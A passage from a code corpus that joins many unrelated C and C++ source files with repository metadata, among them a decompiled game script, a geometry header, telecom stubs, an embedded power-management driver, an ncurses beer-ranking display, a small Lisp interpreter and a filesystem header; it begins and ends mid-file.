/*25*/][iVar7] == 0) { Global_96042++; Global_96044 = (Global_96044 - 1); } Global_96047[iVar6 /*25*/][iVar7] = 0; iVar9++; } iVar8++; } } else if (iVar11 > 1) { iVar10 = (iVar10 + (iVar11 - 1) * 24); } iVar10 = (iVar10 + (24 - iVar5)); iVar10 = (iVar10 + (24 - (24 - iVar2))); iVar8 = 0; iVar7 = Global_96045; iVar6 = Global_96046; iVar8 = 0; while (iVar8 < iVar10) { if (iVar7 > 23) { iVar7 = 0; iVar6++; } if (iVar6 > 6) { iVar6 = 0; } if (!Global_96047[iVar6 /*25*/][iVar7] == 0) { Global_96042++; Global_96044 = (Global_96044 - 1); } Global_96047[iVar6 /*25*/][iVar7] = 0; iVar7++; iVar8++; } Global_96045 = (iVar7 - 1); Global_96046 = iVar6; } else { if (iVar5 > iVar2) { Global_96225 = iVar0; Global_96224 = iVar1; Global_96223 = iVar2; Global_96046 = unk_0x92857E82C024821B(); Global_96045 = unk_0x1F596C965B00E290(); return; } if (iVar5 == iVar2) { return; } else { iVar10 = (iVar2 - iVar5); iVar8 = 0; iVar7 = Global_96045; iVar6 = Global_96046; iVar8 = 0; while (iVar8 < iVar10) { if (!Global_96047[iVar6 /*25*/][iVar7] == 0) { Global_96042++; Global_96044 = (Global_96044 - 1); } Global_96047[iVar6 /*25*/][iVar7] = 0; iVar7++; if (iVar7 > 23) { iVar7 = 0; iVar6++; } if (iVar6 > 6) { iVar6 = 0; } iVar8++; } Global_96045 = iVar7; Global_96046 = iVar6; } } if (Global_96042 > Global_96043) { } if ((iVar3 == iVar0 && iVar5 == iVar2) && iVar4 == iVar1) { } else { Global_96225 = iVar0; Global_96224 = iVar1; Global_96223 = iVar2; } } int func_9(int iParam0, int iParam1, int iParam2, int iParam3) { int iVar0; int iVar1; int iVar2; int iVar3; int iVar4; int iVar5; int iVar6; iVar0 = 0; if (!iParam1 == iParam3) { if (iParam1 < iParam3) { iVar1 = (func_10(iParam1) - (func_10(iParam1) - iParam0)); iVar2 = 0; if (iParam3 > iParam1 + 1) { iVar3 = (iParam3 - iParam1); iVar4 = iParam1 + 1; iVar0 = 0; iVar0 = 0; while (iVar0 < iVar3) { if (iVar4 > 11) { iVar4 = 0; } iVar2 = (iVar2 + func_10(iVar4)); iVar4++; iVar0++; } } iVar5 = (func_10(iParam3) - iParam2); iVar6 = ((iVar1 + iVar2) + iVar5); return iVar6; } } else { if (iParam2 < iParam0) { return 0; } if (iParam2 == iParam0) { return 0; } return (iParam2 - iParam0); } return 0; } int func_10(int iParam0) { return func_11(iParam0); } int func_11(int iParam0) { switch (iParam0) { case 8: return 30; case 3: return 30; case 5: return 30; case 10: return 30; case 1: return 28; default: } return 31; return 0; } void func_12() { int iVar0; int iVar1; Global_96045 = 0; Global_96046 = 0; iVar0 = 0; iVar1 = 0; iVar0 = 0; while (iVar0 < 7) { iVar1 = 0; while (iVar1 < 24) { Global_96047[iVar0 /*25*/][iVar1] = 0; iVar1++; } iVar0++; } func_13(); } void func_13() { Global_96045 = 0; Global_96046 = 0; Global_96223 = unk_0x1F596C965B00E290(); Global_96224 = unk_0x371CFD525753F70C(); Global_96225 = unk_0xF225116F449A5CC6(); } void func_14() { unk_0xD39E529EBE5DB04F(); }
0.878906
low
common/src/math/geometry/3d/object/ConvexHull3D.h
petitg1987/urchinEngine
18
821953
<gh_stars>10-100 #pragma once #include <vector> #include <map> #include <sstream> #include <math/geometry/3d/object/ConvexObject3D.h> #include <math/geometry/3d/shape/ConvexHullShape3D.h> #include <math/geometry/3d/IndexedTriangle3D.h> #include <math/algebra/point/Point3.h> namespace urchin { template<class T> class ConvexHull3D : public ConvexObject3D<T> { public: template<class U> friend class ResizeConvexHull3DService; template<class V> friend std::ostream& operator<< (std::ostream&, const ConvexHull3D<V>&); explicit ConvexHull3D(const std::vector<Point3<T>>&); explicit ConvexHull3D(const ConvexHullShape3D<T>&); const typename std::map<std::size_t, ConvexHullPoint<T>>& getConvexHullPoints() const; std::vector<Point3<T>> getPoints() const; const typename std::map<std::size_t, IndexedTriangle3D<T>>& getIndexedTriangles() const; std::size_t addNewPoint(const Point3<T>&); std::size_t addNewPoint(const Point3<T>&, std::vector<std::size_t>&); Point3<T> getSupportPoint(const Vector3<T>&) const; std::unique_ptr<ConvexHull3D<T>> resize(T) const; private: ConvexHullShape3D<T> localizedConvexHullShape; }; template<class T> std::ostream& operator <<(std::ostream&, const ConvexHull3D<T>&); }
0.996094
high
apps/sctp-agent/dummy_tcps1/tcps1_api_stubs.c
Bhaskers-Blu-Org2/SpectrumDBClient
6
822465
/* Copyright(c) Microsoft Corporation.All rights reserved. Licensed under the MIT License. */ // Standard headers #include <ctype.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include "tcps1_api.h" void tcps1_config(event_callback_func peer_ready_func, socket_send_func passthru_to_enb_func, socket_send_func passthru_to_mme_func, socket_send_func send_to_mme_func, event_callback_func drop_enb_socket_func, event_callback_func drop_mme_socket_func, event_callback_func reset_mme_socket_func, void* logger, void* cloud_logger, device_name_t device_name, device_id_t device_id, uint32_t pkt_ack_guard_ms, uint32_t pkt_retx_max_attempts) { printf("%s: peer_ready_func=%p, passthru_to_enb_func=%p, passthru_to_mme_func=%p, send_to_mme_func=%p, drop_enb_socket_func=%p, drop_mme_socket_func=%p, reset_mme_socket_func=%p, logger=%p, cloud_logger=%p, device_name=%p, device_id=%d, pkt_ack_guard_ms=%d, pkt_retx_max_attempts=%d \n", __func__, peer_ready_func, passthru_to_enb_func, passthru_to_mme_func, send_to_mme_func, drop_enb_socket_func, drop_mme_socket_func, reset_mme_socket_func, logger, cloud_logger, device_name, device_id, pkt_ack_guard_ms, pkt_retx_max_attempts); } void tcps1_reset(void) { printf("%s\n", __func__); } void tcps1_trigger_reset(void) { printf("%s\n", __func__); } void tcps1_free(void) { printf("%s\n", __func__); } void tcps1_process_ul(uint8_t* pkt, uint32_t pkt_len) { printf("%s: pkt=%p len=%d\n", __func__, pkt, pkt_len); } void tcps1_process_dl(uint8_t* pkt, uint32_t pkt_len) { printf("%s: pkt=%p len=%d\n", __func__, pkt, pkt_len); } void tcps1_process_timer_expiry(void) { printf("%s\n", __func__); } void tcps1_mme_disconnected(void) { printf("%s\n", __func__); } void tcps1_mme_connected(void) { printf("%s\n", __func__); } bool tcps1_is_mme_ready(void) { printf("%s\n", __func__); return false; }
0.867188
high
c++/upacker.h
tang0-0/upacker
16
822977
<reponame>tang0-0/upacker #ifndef _DRV_PACKER_H_ #define _DRV_PACKER_H_ #include "stdint.h" #include <functional> using namespace std; #define USE_DYNAMIC_MEM 0 //使用动态内存 #if USE_DYNAMIC_MEM #define UP_MALLOC #define UP_FREE #endif #define MAX_PACK_SIZE 16384 //最长消息长度,最大可用14位即16384 #define STX_L 0X55 //数据包头 typedef std::function<void(uint8_t *, uint16_t)> PACKER_CB; class Upacker { public: #if !USE_DYNAMIC_MEM uint8_t data[MAX_PACK_SIZE]; //用来做payload序列化的内存 #else uint8_t *data; //用来做payload序列化的内存 #endif uint16_t flen; //frame长度 uint8_t calc; //frame校验计算值 uint8_t check; //frame校验值 uint8_t state; //frame解析状态 uint16_t cnt; //frame数据接收cnt PACKER_CB cb; //frame数据接收cnt PACKER_CB send; //数据发送回调 int upacker_init(PACKER_CB handler, PACKER_CB s); void upacker_pack(uint8_t *buff, uint16_t size); void upacker_unpack(uint8_t *buff, uint16_t size); private: uint8_t frame_decode(uint8_t d); uint8_t frame_encode(uint8_t *data, uint16_t size); } ; #endif
0.992188
high
drivers/hal/apollo/hal_drivers/drv_lpmgr.c
shangliyun/lu_xing_xiang_one_os
1
823489
<reponame>shangliyun/lu_xing_xiang_one_os /** *********************************************************************************************************************** * Copyright (c) 2020, China Mobile Communications Group Co.,Ltd. * * Licensed under the Apache License, Version 2.0 (the \"License\ you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * \@file drv_lpmgr.c * * \@brief This file implements low power manager for stm32. * * \@revision * Date Author Notes * 2020-02-20 OneOS Team First Version *********************************************************************************************************************** */ #include <lpmgr.h> #include <board.h> #include <drv_lptim.h> #include <am_mcu_apollo.h> static void uart_console_reconfig(void) { #ifdef OS_USING_SHELL struct serial_configure config = OS_SERIAL_CONFIG_DEFAULT; os_device_control(os_console_get_device(), OS_DEVICE_CTRL_CONFIG, &config); #endif } /** *********************************************************************************************************************** * @brief Put device into sleep mode. * * @param[in] lpm Low power manager structure. * @param[in] mode Low power mode. * * @return None. *********************************************************************************************************************** */ static int sleep(struct lpmgr *lpm, uint8_t mode) { switch (mode) { case SYS_SLEEP_MODE_NONE: break; case SYS_SLEEP_MODE_IDLE: //os_kprintf("SYS_SLEEP_MODE_IDLE\n"); // __WFI(); break; case SYS_SLEEP_MODE_LIGHT: am_hal_sysctrl_sleep(AM_HAL_SYSCTRL_SLEEP_NORMAL); break; case SYS_SLEEP_MODE_DEEP: am_hal_sysctrl_sleep(AM_HAL_SYSCTRL_SLEEP_DEEP); uart_console_reconfig(); break; case SYS_SLEEP_MODE_STANDBY: break; case SYS_SLEEP_MODE_SHUTDOWN: break; default: os_kprintf("invalid mode: %d\n", mode); break; } return OS_EOK; } static uint8_t run_speed[SYS_RUN_MODE_MAX][2] = { {24, 0}, {24, 1}, {12, 2}, {4, 3}, }; extern void SysTick_Configuration(void); static void run(struct lpmgr *lpm, uint8_t mode) { static uint8_t last_mode; static char *run_str[] = SYS_RUN_MODE_NAMES; if (mode >= SYS_RUN_MODE_MAX) { os_kprintf("invalid mode: %d\n", mode); return; } if (mode == last_mode) return; last_mode = mode; /* Use MSI as SYSCLK source*/ // SystemClock_MSI_ON(); /* Set frequency according to mode */ switch (mode) { case SYS_RUN_MODE_HIGH_SPEED: case SYS_RUN_MODE_NORMAL_SPEED: /* Set the system clock to maximum frequency */ am_hal_clkgen_sysclk_select(AM_HAL_CLKGEN_SYSCLK_MAX); break; case SYS_RUN_MODE_MEDIUM_SPEED: am_hal_clkgen_sysclk_select(AM_HAL_CLKGEN_SYSCLK_12MHZ); break; case SYS_RUN_MODE_LOW_SPEED: am_hal_clkgen_sysclk_select(AM_HAL_CLKGEN_SYSCLK_4MHZ); break; default: break; } /* Shut down clock */ // SystemClock_MSI_OFF(); /* Re-configure clock for peripheral */ // uart_console_reconfig(); os_kprintf("switch to %s mode, frequency = %d MHz\n", run_str[mode],run_speed[mode][0] );//am_hal_clkgen_sysclk_get() } /** *********************************************************************************************************************** * @brief Caculate the PM tick from OS tick. * * @param[in] tick OS tick. * * @return PM tick. *********************************************************************************************************************** */ static os_tick_t lpm_tick_from_os_tick(os_tick_t tick) { os_uint32_t freq = lptim_get_countfreq(); return (freq * tick / OS_TICK_PER_SECOND); } /** *********************************************************************************************************************** * @brief Caculate the OS tick from PM tick. * * @param[in] tick PM tick. * * @return OS tick. *********************************************************************************************************************** */ static os_tick_t os_tick_from_lpm_tick(os_uint32_t tick) { static os_uint32_t os_tick_remain = 0; os_uint32_t ret, freq; freq = lptim_get_countfreq(); ret = (tick * OS_TICK_PER_SECOND + os_tick_remain) / freq; // os_tick_remain += (tick * OS_TICK_PER_SECOND); // os_tick_remain %= freq; return ret; } /** *********************************************************************************************************************** * @brief Start the timer of pm. * * @param[in] lpm Low power manager structure. * @param[in] timeout How many OS ticks that MCU can sleep. * * @return None. *********************************************************************************************************************** */ static void lpm_timer_start(struct lpmgr *lpm, os_uint32_t timeout) { OS_ASSERT(lpm != OS_NULL); OS_ASSERT(timeout > 0); //if (timeout != OS_TICK_MAX) { /* Convert OS Tick to pmtimer timeout value */ timeout = lpm_tick_from_os_tick(timeout); if (timeout > lptim_get_tick_max()) { timeout = lptim_get_tick_max(); } /* Enter LPM_TIMER_MODE */ lptim_start(timeout); } } /** *********************************************************************************************************************** * @brief Stop the timer of pm. * * @param[in] lpm Low power manager structure. * * @return None. *********************************************************************************************************************** */ static void lpm_timer_stop(struct lpmgr *lpm) { OS_ASSERT(lpm != OS_NULL); /* Reset pmtimer status */ lptim_stop(); } /** *********************************************************************************************************************** * @brief Calculate how many OS ticks that MCU has suspended. * * @param[in] lpm Low power manager structure. * * @return OS ticks. *********************************************************************************************************************** */ static os_tick_t lpm_timer_get_tick(struct lpmgr *lpm) { os_uint32_t timer_tick; OS_ASSERT(lpm != OS_NULL); timer_tick = lptim_get_current_tick(); return os_tick_from_lpm_tick(timer_tick); } /** *********************************************************************************************************************** * @brief Initialise low power manager. * * @param[in] None. * * @return 0. *********************************************************************************************************************** */ int drv_lpmgr_hw_init(void) { static const struct os_lpmgr_ops s_lpmgr_ops = { sleep, run, lpm_timer_start, lpm_timer_stop, lpm_timer_get_tick }; os_uint8_t timer_mask = 0; /* Initialize timer mask */ timer_mask = 1UL << SYS_SLEEP_MODE_DEEP; /* Initialize system lpmgr module */ os_lpmgr_init(&s_lpmgr_ops, timer_mask, OS_NULL); return 0; } OS_BOARD_INIT(drv_lpmgr_hw_init);
0.988281
high
src/kernel/io/Serial.h
jameskingstonclarke/arctic
1
824001
<reponame>jameskingstonclarke/arctic<filename>src/kernel/io/Serial.h<gh_stars>1-10 #pragma once #include "Port.h" #define COM1 0x3f8 #define COM2 0x2f8 #define COM3 0x3e8 #define COM4 0x2e8 namespace IO{ extern u1 setup_serial(); extern u1 serial_received(u16 port); extern char read_serial(u16 port); extern void write_serial(u16 port, char c); extern u1 is_transmit_empty(u16 port); }
0.96875
high
include/pabc/pabc_user.h
LaudateCorpus1/libpabc
8
824513
/** * Copyright (c) 2021 <NAME> * * SPDX-License-Identifier: Apache-2.0 **/ #ifndef PABC_USER_H #define PABC_USER_H #include "pabc_utils.h" #include <stddef.h> struct pabc_public_parameters; struct pabc_credential; struct pabc_context; struct pabc_blinded_proof; struct pabc_credential_request; struct pabc_attribute_predicates_D_I; struct pabc_nonce; /*! * Holds private user information (including secret key) */ struct pabc_user_context; /*! * Set the disclosure flag of an attribute by name. * * \param [in,out] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes and attribute names). * \param [in,out] proof The proof to be manipulated. * \param [in] name The name of the attribute. * \param [in] disclosed A flag indicating that the attribute is disclosed * (::PABC_DISCLOSED or not disclosed (::PABC_NOT_DISCLOSED). * \param [in,out] cred The credential to use. * \return Success status. */ enum pabc_status pabc_set_disclosure_by_attribute_name ( struct pabc_context *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_blinded_proof *const proof, char const *const name, enum pabc_status disclosed, struct pabc_credential const *const cred); /*! * Allocates a new user context. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [out] usr_ctx The allocated structure. Must be freed by caller (see * ::pabc_free_user_context). * \return Success status. */ enum pabc_status pabc_new_user_context ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_user_context **usr_ctx); /*! * Populates a user context. * * \param [in,out] ctx The global context to use. * \param [in,out] usr_ctx The user context to populate (previously allocated by * ::pabc_new_user_context). * \return Success status. */ enum pabc_status pabc_populate_user_context (struct pabc_context *const ctx, struct pabc_user_context *const usr_ctx); /*! * Frees a user context. * * TODO overwrite secret keys? * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [in,out] usr_ctx The context to free (previously allocated by * ::pabc_new_user_context). */ void pabc_free_user_context ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_user_context **usr_ctx); /*! * Populate a credential request. The user attributes must be set (see * ::pabc_set_attribute_value_by_name) before calling * this function. * * \param [in,out] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [in,out] usr_ctx The user context to use (hold attributes and user * secret key). * \param [in,out] nonce The nonce to use for this credential request. It will * be deep-copied into the cred request. * \param [in,out] cr The credential request to populate. Must be allocated * before calling this function (see ::pabc_new_credential_request). * \return Success status. */ enum pabc_status pabc_gen_credential_request ( struct pabc_context *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_user_context *const usr_ctx, struct pabc_nonce *const nonce, struct pabc_credential_request *const cr); /*! * Allocates a new credential request. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [out] cr The allocated structure. Must be freed by caller (see * ::pabc_free_credential_request). * \return Success status. */ enum pabc_status pabc_new_credential_request ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_credential_request **cr); /*! * Frees a credential request. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [in,out] cr The structure to free (previously allocated by * ::pabc_new_credential_request). */ void pabc_free_credential_request ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_credential_request **cr); /*! * Allocates a new proof. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [out] proof The allocated structure. Must be freed by calles (see * ::pabc_free_proof). * \return Success status. */ enum pabc_status pabc_new_proof (struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_blinded_proof **proof); /*! * Frees a proof. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [in,out] proof The structure to free (previously allocated by * ::pabc_new_proof) */ void pabc_free_proof ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_blinded_proof **proof); /*! * Generates a blinded proof. The user must first decide which attributes to * disclose (see ::pabc_set_disclosure_by_attribute_name). * * \param [in,out] ctx The global context to use. * \param [in,out] usr_ctx The user context to use. * \param [in] public_parameters The public parameters to use (number of * attributes). * \param [in,out] proof The proof to generate. Must be allocated before calling * this function (see ::pabc_new_proof). * \param [in,out] cred The credential to use for generating the proof * (previously issued by ::pabc_issuer_credential_sign). * \return Success status. */ enum pabc_status pabc_gen_proof ( struct pabc_context *const ctx, struct pabc_user_context *const usr_ctx, struct pabc_public_parameters *const public_parameters, struct pabc_blinded_proof *const proof, struct pabc_credential *const cred); /*! * Set an attribute value by name. * * \param [in] ctx The global context to use. * \param [in] public_parameters The public parameters to use (number of * attributes and attribute names). * \param [in,out] usr_ctx The user context to use. Attribute values are stored * here. \param [in] name The name of the attribute. \param [in] value The * attribute value. \return Success status. * \return Success status. */ enum pabc_status pabc_set_attribute_value_by_name ( struct pabc_context const *const ctx, struct pabc_public_parameters const *const public_parameters, struct pabc_user_context *const usr_ctx, char const *const name, char const *const value); #endif // PABC_USER_H
0.996094
high
client/inc/upload.h
Xudmud/CSCI3763_Lab2
0
825025
#ifndef CLIUPLOAD_H #define CLIUPLOAD_H void clientupload(int sockfd, char* comm); #endif
0.882813
low
beers.c
MortenMiddelthon/wb2017
0
825537
<reponame>MortenMiddelthon/wb2017 #include <stdio.h> #include <ncursesw/curses.h> #include <string.h> #include <json-c/json.h> #include <unistd.h> #include <locale.h> #include <wchar.h> WINDOW *create_newwin(int height, int width, int starty, int startx, int box); void print_in_window(WINDOW *win, int starty, int startx, int width, char *string); void destroy_win(WINDOW *local_win); void fetch_updates_side(WINDOW *win); int main() { WINDOW *side_window; WINDOW *side_frame; int ch, row, col; char *locale; locale = setlocale(LC_ALL, ""); initscr(); /* Start curses mode */ start_color(); cbreak(); noecho(); curs_set(1); keypad(stdscr, TRUE); /* I need that nifty F1 */ getmaxyx(stdscr, row, col); init_pair(1, COLOR_GREEN, COLOR_BLACK); attron(A_BOLD | COLOR_PAIR(1)); refresh(); side_frame = create_newwin(row, col, 0,0, 1); side_window = create_newwin(row-2, col-2, 1,1, 0); while(1) { fetch_updates_side(side_window); sleep(10); } getch(); endwin(); /* End curses mode */ return 0; } WINDOW *create_newwin(int height, int width, int starty, int startx, int box) { WINDOW *local_win; init_pair(1, COLOR_GREEN, COLOR_BLACK); local_win = newwin(height, width, starty, startx); if(box == 1) { box(local_win, 0 , 0); } wattrset(local_win, A_BOLD | COLOR_PAIR(1)); wrefresh(local_win); return local_win; } void print_in_window(WINDOW *win, int starty, int startx, int width, char *string) { int length, x, y; float temp; init_pair(1, COLOR_GREEN, COLOR_BLACK); wattron(win, A_BOLD | COLOR_PAIR(1)); if(win == NULL) win = stdscr; getyx(win, y, x); if(startx != 0) x = startx; if(starty != 0) y = starty; if(width == 0) width = 80; /* length = strlen(string); temp = (width - length)/ 2; x = startx + (int)temp; */ mvwprintw(win, y, x, "%s", string); //box(win, 0, 0); wrefresh(win); } void fetch_updates_side(WINDOW *win) { int x, y, c, line_count; int delay = 10000; // Delay between printing each character // Where to fetch JSON char beers[] = "/usr/bin/wget -O - -q http://wb.lastfriday.no/json/topbeers"; size_t len = 0; char *jsonString = NULL; enum json_type type; FILE *output; // Set colours and font type init_pair(1, COLOR_GREEN, COLOR_BLACK); wattron(win, COLOR_PAIR(1)); //box(win, 0, 0); // Redraw window border with correct colour // Get window dimensions getmaxyx(win, y , x); output = popen(beers, "r"); // Read from command pipe wclear(win); // Clear text from window // Read JSON output one line at a time line_count = 1; wattron(win, A_BOLD| A_UNDERLINE); mvwaddstr(win, 1,1, "Top 10 beers: \n"); wattroff(win, A_UNDERLINE); while( getline(&jsonString, &len, output) != -1 && getcury(win) < y-4) { json_object * jobj = json_tokener_parse(jsonString); // Check if we have valid JSON objects before proceding if(jobj != NULL) { enum json_type type; char outputString[400]; char beer[256]; char brewery[256]; char average[256]; char ratings[256]; // Set checkin variables from JSON objects json_object_object_foreach(jobj, key, val) { if(!strcmp("beer", key)) { strcpy(beer, json_object_get_string(val)); } else if(!strcmp("brewery", key)) { strcpy(brewery, json_object_get_string(val)); } else if(!strcmp("average", key)) { strcpy(average, json_object_get_string(val)); } else if(!strcmp("ratings", key)) { strcpy(ratings, json_object_get_string(val)); } } // wattron(win, A_BOLD | COLOR_PAIR(1)); mvwaddch(win, getcury(win),1, ' '); wattroff(win, A_BOLD); waddch(win, 'B'); usleep(delay); wrefresh(win); waddch(win, 'e'); usleep(delay); wrefresh(win); waddch(win, 'e'); usleep(delay); wrefresh(win); waddch(win, 'r'); usleep(delay); wrefresh(win); waddch(win, ' '); usleep(delay); wrefresh(win); wattron(win, A_BOLD); waddstr(win, beer); usleep(delay); wrefresh(win); wattroff(win, A_BOLD); waddch(win, ' '); usleep(delay); wrefresh(win); waddch(win, 'B'); usleep(delay); wrefresh(win); waddch(win, 'y'); usleep(delay); wrefresh(win); waddch(win, ' '); usleep(delay); wrefresh(win); wattron(win, A_BOLD); waddstr(win, brewery); usleep(delay); wrefresh(win); wattroff(win, A_BOLD); waddch(win, '\n'); usleep(delay); wrefresh(win); waddch(win, '\t'); usleep(delay); wrefresh(win); waddch(win, 'a'); usleep(delay); wrefresh(win); waddch(win, 'v'); usleep(delay); wrefresh(win); waddch(win, 'e'); usleep(delay); wrefresh(win); waddch(win, 'r'); usleep(delay); wrefresh(win); waddch(win, 'a'); usleep(delay); wrefresh(win); waddch(win, 'g'); usleep(delay); wrefresh(win); waddch(win, 'e'); usleep(delay); wrefresh(win); waddch(win, ' '); usleep(delay); wrefresh(win); wattron(win, A_BOLD); for(c = 0; c < strlen(average); c++) { waddch(win, average[c]); usleep(delay); wrefresh(win); } wattroff(win, A_BOLD); waddch(win, '\n'); usleep(delay); wrefresh(win); waddch(win, '\t'); usleep(delay); wrefresh(win); waddch(win, 'r'); usleep(delay); wrefresh(win); waddch(win, 'a'); usleep(delay); wrefresh(win); waddch(win, 't'); usleep(delay); wrefresh(win); waddch(win, 'i'); usleep(delay); wrefresh(win); waddch(win, 'n'); usleep(delay); wrefresh(win); waddch(win, 'g'); usleep(delay); wrefresh(win); waddch(win, 's'); usleep(delay); wrefresh(win); waddch(win, ' '); usleep(delay); wrefresh(win); wattron(win, A_BOLD); for(c = 0; c < strlen(ratings); c++) { waddch(win, ratings[c]); usleep(delay); wrefresh(win); } // End line waddch(win, '\n'); //box(win, 0, 0); // Redraw window border with correct colour wrefresh(win); line_count++; } } line_count = getcury(win); // waddch(win, '.'); usleep(delay); wrefresh(win); pclose(output); }
0.960938
high
src/node.c
namachan10777/minlisp
0
826049
<filename>src/node.c #include "node.h" #include <math.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include "util.h" #include "gc.h" #include "env.h" int sexp_len(struct Node pair) { if (pair.tag != Pair) return 0; return 1 + sexp_len(*pair.pair.cdr); } struct Node* idx(struct Node* list, int idx) { int i = 0; ITER(node, list) { if (idx == i++) return node; } return NULL; } char* pp(struct Node node) { switch (node.tag) { case Nil: { // "nil" + '\0' int len = 4; char* buf = malloc(sizeof(char) * len); sprintf(buf, "%s", "nil"); return buf; } case Num: { int len; // 桁数計算 if (node.num > 1.0f) len = (int)ceil(log10(fabs(node.num) + 0.1f)); else len = 1; // 符号が負の場合は一文字増える if (node.num < 0.0f) ++len; // '.' + "xxx" '\0' len += 4; char *buf = malloc(sizeof(char) * len); sprintf(buf, "%.3f", node.num); return buf; } case Bool: { if (node.boolean) return deep_copy("true"); else return deep_copy("false"); } case Symbol: { // sym + '\0' int len = strlen(node.symbol) + 1; char *buf = malloc(sizeof(char) * len); strcpy(buf, node.symbol); return buf; } case Str: { //'"' + str + '"' + '\0' int len = strlen(node.str) + 3; char *buf = malloc(sizeof(char) * len); sprintf(buf, "\"%s\"", node.str); return buf; } case Pair: { char* car_str = pp(*node.pair.car); char* cdr_str = pp(*node.pair.cdr); int len = 1 + strlen(car_str) + 1 + strlen(cdr_str) + 1; char *buf = malloc(sizeof(char) * len); sprintf(buf, "(%s %s)", car_str, cdr_str); free(cdr_str); free(car_str); return buf; } case Fun: { int arg_str_length = 0; for (int i = 0; i < node.fun.arg_num; ++i) { arg_str_length += strlen(node.fun.args[i]) + 1; } --arg_str_length; char* body_str = pp(*node.fun.body); int len = 6 + 1 + arg_str_length + 1 + strlen(body_str); char* buf = malloc(sizeof(char) * len); sprintf(buf, "(lambda "); for(int i = 0; i < node.fun.arg_num; ++i) { strcat(buf, node.fun.args[i]); strcat(buf, " "); } strcat(buf, body_str); strcat(buf, ")"); free(body_str); return buf; } case BFun: { switch (node.bfun) { case Add : return deep_copy("+"); case Sub : return deep_copy("-"); case Mul : return deep_copy("*"); case Div : return deep_copy("/"); case Mod : return deep_copy("%"); case Not : return deep_copy("not"); case And : return deep_copy("and"); case Or : return deep_copy("or"); case Gret: return deep_copy("<"); case Less: return deep_copy(">"); case Eq: return deep_copy("="); case Car : return deep_copy("car"); case Cdr : return deep_copy("cdr"); case Cons : return deep_copy("cons"); case List : return deep_copy("list"); case Print : return deep_copy("print"); case Progn : return deep_copy("retval"); } } case SForm: { switch (node.sform) { case If : return deep_copy("if"); case Let : return deep_copy("let"); case Quote : return deep_copy("quote"); case Defun : return deep_copy("defun"); case Lambda : return deep_copy("lambda"); } } } return NULL; } struct Node* alloc_nil() { struct Node* node = gc_alloc(); node->tag = Nil; return node; } struct Node* alloc_bool(bool boolean) { struct Node* node = gc_alloc(); node->tag = Bool; node->boolean = boolean; return node; } struct Node* alloc_num(float num) { struct Node* node = gc_alloc(); node->tag = Num; node->num = num; return node; } struct Node* alloc_symbol(char* symbol) { struct Node* node = gc_alloc(); node->tag = Symbol; node->symbol = symbol; return node; } struct Node* alloc_str(char* str) { struct Node* node = gc_alloc(); node->tag = Str; node->str = str; return node; } struct Node* alloc_pair(struct Node* car, struct Node* cdr) { struct Node* node = gc_alloc(); node->tag = Pair; node->pair.car = car; node->pair.cdr = cdr; return node; } struct Node* alloc_fun(char** args, int arg_num, struct Node* body) { struct Node* node = gc_alloc(); node->tag = Fun; node->fun.args = args; node->fun.arg_num = arg_num; node->fun.body = body; node->fun.pos = get_env_size(); return node; } struct Node* alloc_bfun(enum BuiltinFun bfun) { struct Node* node = gc_alloc(); node->tag = BFun; node->bfun = bfun; return node; } struct Node* alloc_sform(enum SpecialForm sform) { struct Node* node = gc_alloc(); node->tag = SForm; node->sform = sform; return node; }
0.996094
high
ufs/ufsd/src/apfs/dirapfs.h
hekkihek/paragon_apfs_sdk_ce
82
826561
<reponame>hekkihek/paragon_apfs_sdk_ce // <copyright file="dirapfs.h" company="Paragon Software Group"> // // Copyright (c) 2002-2019 Paragon Software Group, All rights reserved. // // The license for this file is defined in a separate document "LICENSE.txt" // located at the root of the project. // // </copyright> ///////////////////////////////////////////////////////////////////////////// // // Revision History : // // 05-October-2017 - created. // ///////////////////////////////////////////////////////////////////////////// #ifndef __UFSD_DIRAPFS_H #define __UFSD_DIRAPFS_H #include "../unixfs/unixdir.h" namespace UFSD { namespace apfs { class CApfsDir : public CUnixDir { CEntryTreeEnum* m_pEntryEnum; public: CApfsDir(CUnixFileSystem* pFS); virtual ~CApfsDir(); virtual UINT64 GetObjectID() const; virtual int Create( IN api::STRType Type, IN const void* Name, IN size_t NameLen, IN unsigned short Mode, IN unsigned int Uid, IN unsigned int Gid, IN const void* Data, IN size_t DataLen, OUT CFSObject** Fso ); virtual int GetSubDirAndFilesCount( OUT bool* IsEmpty, // may be NULL OUT size_t* SubDirsCount, // may be NULL OUT size_t* FilesCount // may be NULL ); virtual int Rename( IN api::STRType Type, IN const void* SrcName, IN size_t SrcLen, IN CFSObject* Src, IN CDir* TgtDir, IN const void* DstName, IN size_t DstLen ); virtual bool IsReadOnly(); virtual int CheckForEmpty( IN CUnixInode* pInode ); private: //================================================================= // CUnixDir virtual functions //================================================================= virtual int FindNext( IN CEntryNumerator* pEnum, OUT FileInfo& Info, OUT CUnixInode** pInode ); virtual int FindDirEntry( IN api::STRType Type, IN const void* Name, IN size_t NameLen, OUT FileInfo* pInfo, OUT CUnixInode** pInode ); virtual void CreateFsObject( 